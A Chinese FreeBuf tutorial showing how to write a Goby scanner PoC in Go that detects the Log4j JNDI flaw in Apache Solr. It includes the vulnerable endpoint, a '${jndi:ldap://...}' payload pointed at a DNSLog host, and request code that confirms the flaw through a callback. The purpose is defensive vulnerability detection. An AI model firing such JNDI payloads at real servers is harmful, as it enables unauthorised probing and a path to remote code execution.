freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

使用goby检测log4j漏洞
2022-02-15 16:20:58
所属地 浙江省

一、前言

前段时间的Log4j漏洞影响很广泛,网上已经公开了很多地方的利用方式,而平时用goby较多,就想利用goby的指纹识别对目标定向检测。这篇文章就从Apache Solr Log4j漏洞为例,教大家如何写goby poc,文章中有错误还请及时指正。

Goby可以通过编写go文件,来实现一些高级的漏洞检测或利用,例如dnslog检测漏洞,详情可查阅goby官方文档:https://cn.gobies.org/docs/exp/index.html

二、漏洞复现

首先了解到漏洞触发点是

/solr/admin/collections?action=

的action参数,

通过dnslog验证到靶机是存在漏洞。

payload:${jndi:ldap://24x44x.dnslog.cn/a}

图一:发送payload

图二:dnslog有回显

三、goby poc编写

Goby是通过golang编写的,而一些漏洞检测场景(比如dnslog验证),goby自身的JSON 格式无法满足这一需求,需采用 Golang 编写漏洞代码。

expJson部分

1、首先通过goby poc管理,添加poc,按照goby官方漏洞描述模版说明填写并保存。

图三:自定义poc

2、在goby安装目录的\golib\exploits\user文件夹打开生成的Apache_Solr_Log4j_JNDI_RCE.json文件,如果不需要exp则需把HasExp字段的true改为false。

图四:生成的json文件

3、将生成的json代码(去掉外、围大括号)复制到goby漏洞检测golang模板的expJson := `{xxx}`中。

package exploits

 

import (

       //根据需求导入相应的包

"fmt"

    "git.gobies.org/goby/goscanner/goutils"

    "git.gobies.org/goby/goscanner/jsonvul"

    "git.gobies.org/goby/goscanner/godclient"

    "git.gobies.org/goby/goscanner/scanconfig"

    "git.gobies.org/goby/httpclient"

    "strings"

    "time"

)

 

func init() {

    expJson := `{

        expJson部分

  }`

 

    ExpManager.AddExploit(NewExploit(

        goutils.GetFileName(),

        expJson,

        nil,    //自定义POC函数部分。

        nil,    //自定义EXP函数, 没有EXP,就写nil,

    ))

}

goby漏洞检测golang模板

自定义POC函数部分

  • 根据官方文档说明

自定义 POC 由一个函数构成,该函数参数分为 jsonvul.JsonVul、httpclient.FixUrl、scanconfig.SingleScanConfig 结构体组成,通过响应 bool 来确认漏洞是否存在。函数模版如下:

func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {

        return false

    }

需要通过编写检测漏洞是否存在的golang代码,检测到漏洞存在则返回true,不存在返回false。

图五:自定义 POC函数部分

checkStr := goutils.RandomHexString(4)

RandomHexString函数:随机生成指定长度的字符串

checkUrl, isDomain := godclient.GetGodCheckURL(checkStr)

GetGodCheckURL函数:生成DNSLog地址

uri := "/solr/admin/collections?action=$%7Bjndi:ldap://$%7BhostName%7D." + checkUrl + "/a%7D"

漏洞触发点拼接payload

cfg := httpclient.NewGetRequestConfig(uri)   //NewGetRequestConfig:构建GET请求自定义配置,返回RequestConfig

cfg.VerifyTls = false                          //忽略ssl验证

cfg.FollowRedirect = false                    //不跟随跳转

cfg.Header.Store("Content-type", "application/x-www-form-urlencoded")  //自定义请求头

httpclient.DoHttpRequest(u, cfg)             //DoHttpRequest:构建自定义请求配置,发送请求,返回请求结果HttpResponse

构建并发送自定义配置的GET请求,返回请求结果HttpResponse

图六:通过代理抓取到goby发送payload的get请求

return godclient.PullExists(checkStr, time.Second*15)

在一段时间内检测dnslog是否有HTTP请求成功,如果成功返回true,否则返回false。

图七:通过代理抓取到goby检测dnslog是否有HTTP请求成功

图八:漏洞检测成功

注意点:

  • expJson部分GobyQuery查询规则,要保证能匹配到对应目录资产
  • 导入goby,发现加载不出poc,需要去检查代码的问题
  • 使用goby官方的函数需通过import导入对应的包

当然除了solr还有很多框架,希望大家能从文章中学到一点知识,打磨自己的武器。

# 漏洞检测 # Goby
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录